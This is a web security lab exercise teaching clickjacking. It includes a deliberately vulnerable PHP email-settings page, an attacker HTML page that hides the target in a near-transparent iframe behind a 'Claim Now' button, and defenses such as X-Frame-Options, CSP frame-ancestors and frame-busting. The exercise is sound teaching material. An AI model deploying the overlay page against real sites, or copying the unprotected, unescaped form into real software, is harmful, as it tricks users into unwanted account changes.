Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 39: Clickjacking via Iframe Embedding

by | May 6, 2025 | 0 comments

Objective

Learn how to exploit Clickjacking vulnerabilities by embedding hidden iframes over legitimate web pages to trick users into performing unintended actions. Understand how to mitigate this risk using proper security headers and UI defenses.


Scenario

You are assessing a web application with sensitive features, such as updating account settings. Due to a lack of proper frame protections, an attacker can embed the web page inside a malicious site using iframes and trick users into clicking on hidden buttons, leading to unauthorized actions like changing the victim’s email address or transferring funds.


Lab Setup

Prerequisites:

  • Basic knowledge of HTML and web security.
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
  • A code editor (e.g., VSCode, Sublime Text).

Step 1: Create the Vulnerable Web Application

  1. PHP Script for Account Settings (Vulnerable)
    • Create a file settings.php: <?php if (isset($_POST['update'])) { $new_email = $_POST['email']; echo "<h2>Email updated to: $new_email</h2>"; } ?> <h2>Update Email Address</h2> <form method="POST" action=""> New Email: <input type="email" name="email" required><br> <button type="submit" name="update">Update Email</button> </form>
  2. Running the Application
    • Start the Apache server.
    • Place settings.php in the web server’s root directory (htdocs for XAMPP).
    • Open http://localhost/settings.php in your browser.
  3. Attacker’s Malicious Page
    • Create a file attack.html: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Claim Your Prize!</title> <style> iframe { position: absolute; top: 0; left: 0; width: 500px; height: 500px; opacity: 0.01; z-index: 10; } button { position: relative; z-index: 5; width: 200px; height: 50px; font-size: 18px; } </style> </head> <body> <h1>Click to Claim Your Prize!</h1> <button>Claim Now</button> <iframe src="http://localhost/settings.php"></iframe> </body> </html>

Exploitation Steps

Step 1: Performing the Clickjacking Attack

  1. Open attack.html in the browser.
  2. Click the visible Claim Now button.
  3. Expected Result:
    • The hidden iframe overlays the button, and the user unknowingly submits the form on settings.php, changing their email address.

Step 2: Automating the Exploit

  1. Modify the iframe in attack.html to prefill the email field: <iframe src="http://localhost/[email protected]"></iframe>
  2. Expected Result:
    • Clicking the button updates the victim’s email to [email protected] without their knowledge.

Solution and Prevention

Problem Analysis

  • The application does not prevent embedding in iframes, making it vulnerable to clickjacking.

Fixing the Vulnerability

  1. Set X-Frame-Options Header
    • Add the following header to settings.php to block iframe embedding: header("X-Frame-Options: DENY");
    • Alternatively, to allow only the same origin: header("X-Frame-Options: SAMEORIGIN");
  2. Use Content Security Policy (CSP)
    • Implement CSP to restrict frame embedding: header("Content-Security-Policy: frame-ancestors 'self';");
  3. Add Frame Busting Scripts (Legacy Support)
    • Include JavaScript to prevent framing: if (window.top !== window.self) { window.top.location = window.self.location; }
  4. Use UI Defenses
    • Apply visual indicators for sensitive actions (e.g., CAPTCHA, re-authentication).

Testing After Fix

  1. Reload the attack.html page.
  2. Expected Result:
    • The iframe is blocked or broken, preventing the clickjacking attack.

Conclusion

In this lab, you exploited Clickjacking via Iframe Embedding to perform unauthorized actions by tricking a user into clicking hidden elements. You also learned how to mitigate this vulnerability by implementing security headers like X-Frame-Options, using Content Security Policies (CSP), and employing UI defenses.

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *